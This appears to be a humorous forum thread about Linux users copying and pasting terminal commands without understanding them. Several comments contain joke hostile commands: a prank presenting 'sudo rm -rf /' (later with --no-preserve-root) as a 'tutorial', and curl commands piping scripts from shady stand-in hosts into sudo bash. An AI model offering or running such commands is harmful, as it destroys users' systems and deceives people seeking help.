You could say I am a bit of a copy/paste expert..

Nothing better than curl https://totally-legit-installer.com/script | sudo bash
- I usually get an output saying my distro isn't supported. So I have to download and edit the script then it can bypass checking os-release or something like that.
- No hash, get cash!
- such a base

I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.
It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.
Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:
sudo rm -rf /
Type your password when prompted and you're golden. No more linux issues ever again.
- Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,
  I also find that adding --verbose adds more things like commentary and extras that really help
  So, run sudo rm -rf --no-preserve-root --verbose
  /s
  
  All good points.
  That's why I love communities like these, there are always people willing to expound upon other's solutions with solid additional information.
  It's what makes forums like these such goldmines of information when you're first cutting your teeth learning new things.
  Upvoted.
- I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I've ever seen. Now I wonder why other OSes don't do that
  
  It's great, isn't it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system's using now that you've run the tutorials. It's almost like nothing's going on in the background at all.
  This is the reason that BASH will always be better than Powershell, imho.
- Done and I must say, as stated by the comments above - my CPU and RAM usage are at an all time low. Other OSes don't hold shit against Linux now.
- I told someone to do that way back when. He wisely tried it on a computer at Best Buy (a Mac) rather than his own. I respected his thinking ahead.
  
  When did best buy display Linux computers?
- Evil boy
- Guy's really feeling helpful today

That’s probably how most of us started, but then you start getting familiar with things…
- And that's when you really get good at breaking shit.
  
  In my early days I would reinstall the whole OS several times a week when I would fuck things up too much.
  
  Professional level breaking.
- That's true. I'm no expert, I need to google everything - but after years of reading / coping/ pasting similar things, I started to understand how some things work.
  
  While at the same time, others understand less and less how you work

I actually take the time to type everything out, but I still have no idea what I’m doing.
- You know, my students do this. It's freaking hilarious when they inevitably have a typo and get an error. I chuckle every time. 😄
  
  it is actually a good thing to do. helps in learning stuff faster. it's good to hear that there's still people who don't mindlessly copy and paste
  
  Omg I tell people at least 3 times a day about bash's tab completion. Cli proficiency should be taught before programming

People underestimate how important being able to google answers on the internet has been for the take-up of linux and many other things. Most of us would be lost without Google.
- Aaand the arch wiki
  Aaand stack overflow
  Aaand the Gentoo wiki
  Aaand random Linux forums :P
  Aaand very occasionally the accessible source code for when you're really stuck and have no other choice but to sell your soul in exchange for a glimmer of understanding after peering into the abyss.
  
  I’m convinced that if StackOverflow goes down society would follow within a matter of weeks.

Not just Linux, I do this all the time when 'writing' R or Python scripts for work. Then I spend the next 2 hours debugging a missing comma.
- Butt that's how I learnt the scripting!

For anyone who needs it. Try out:
sh

curl cheat.sh/
- OP bout to copy/paste this without knowing what it does lol.
  
  what does it do?

You move past this stage once you start actually depending on the system. Then you find imperfect answers to some problem and have to adapt them to your system. Then you start learning.

Years ago I started out like this, then gradually started reading and understanding the stuff.
- This is the way.
  We're still using this meme right? /2%er
- I sometimes feel like I go all the way around. I find a fix for a problem that says: just copy and paste this. I then spend 3 hours or more reading and trying to understand the snippet, or do it directly. Then I realise the fix is to just copy and paste that original snippet.
  I guess at least I now understand why everyone just does that for that problem.
- After reading (or skimming) many books on *nix, I encountered one that was way over my head. I was lost and gave up after ~25 pages. A few years later, I found myself reading it casually because I no longer needed to type things out to verify how they worked. It was an awesome feeling.

I don't think that's a terrible way of getting started. Your subconscious will do the rest at some point, unless you're really not interested at all (which isn't a problem either). :)
- The real learning happens when you copy and paste something you shouldn't and bork your system. That's basically how I started.
  
  Me learning anything ever. Troubleshooting is the real learning phase.

I shouldn't have done that
- That was me today when I allowed Linux to remove what it claimed "can/should' remove X packages.. now my llmachine has no VMware tools, won't scale, and is missing something called fuse?
  
  fuse is for mounting filesystems that don’t have in-kernel drivers. I haven’t touched VMWare in a while, but they might use it for sharing folders between the host and guest
  
  Think of it as a forced upgrade 🤪

I think this is how most people start but you gotta start somewhere right? This site helped me a lot: https://explainshell.com

I am not alone.
- We are not alone.

copy and pasted random login info
"Why isn't this working?"

All hail the arch Linux wiki!
- ALL GLORY TK THE WIKI.

ChatGPT has actually been invaluable for switching to Linux for this reason. I only broke my system after I tried finding my own solutions to problems online and copied that code.

There is a big issue in the Linux community where people are very concerned with the OS itself and not what people are actually doing with it. So if copy pasting is working and you are getting whatever it is you want don’ done, done, then no one should care how you got there.

I've spent some much time in a terminal the last week I'm starting to Ctrl+x anytime I want to save anything lol. Even illustrator files at work lol.

It’s funny cuz it’s true

Just be careful with those two letter shell commands like rm and dd. But if you don't, you will become proficient in reinstalling Linux.

Heheh on Linux when you think you found the answer you copy paste, log out and back in. Sometimes reboot if it don’t with try the next copy and paste.. so many memories

The real question is which buffer are you using? Team middle-click ftw.

- @livelongprosper @EliteCow
  Yeah, this is the case if you're a heavy terminal user. However, for a lot of people this is no longer necessary.
  For a lot of people where just stock #gnome or #kde is good enough, and you use the software store app to install applications, you rarely have to touch the terminal and as such don't have to know the commands.
  That being said, as a heavy #neovim and #emacs user, the power provided by actually knowing the commands is something that I could not do without.
  
  I live in the terminal all day every day. And I still copy paste. It's generally way easier and less typo prone than typing everything
  
  @zbecker @livelongprosper @EliteCow Long live the terminal!

Lol yep.

This makes me laugh so much. After years of using Linux, it’s still true for me to an extent.
- I'm a Linux system admin, I literally do this for a living, and I usually feel like I have no idea what I'm doing.

You'll learn when you do more of those

Honestly this is good enough for most people. Some may say you risk fucking up the os/computer but windows guides carry the same risk.
- the linux equivalent of earning your wings is attempting a simple fix and somehow fucking up so bad you have to start over from a fresh install
  
  Yeah... I just wanted to connect my phone via adb. Ended up removing myself from the sudo-ers group. Since I did not know how to fix this problem at the time this caused a fresh install.
- I'm sad because this is true.
  Also, man -k is a lost, dark art.
- You don't need to in Linux either. You can do most everything from a gui.

I too like to sudo bash
- You mean, to curl http://shadywebsite.com/bootstrap.sh | sudo bash, right?

Yeah I'm wildly careless about copying and pasting stuff beginning with "sudo ...". No harm yet, though I do wonder what this process called "totallynotabitcoinminer" is and why my pc has slowed to a crawl.
- Don't worry, that's just some helpful code to enable the space heater feature of your computer.

It's the main reason mainly programmers use it, not because of the openess, because they learnt to Google there problems

You copypaste till everything is in the terminal history, then you just scroll through it like a pro

Ah yes, anytime I am making a script in bash and have to use something I have never seen before.

As a wayland user, I wish this was true

Yeah, Linux is not for you if don't know what you're doing.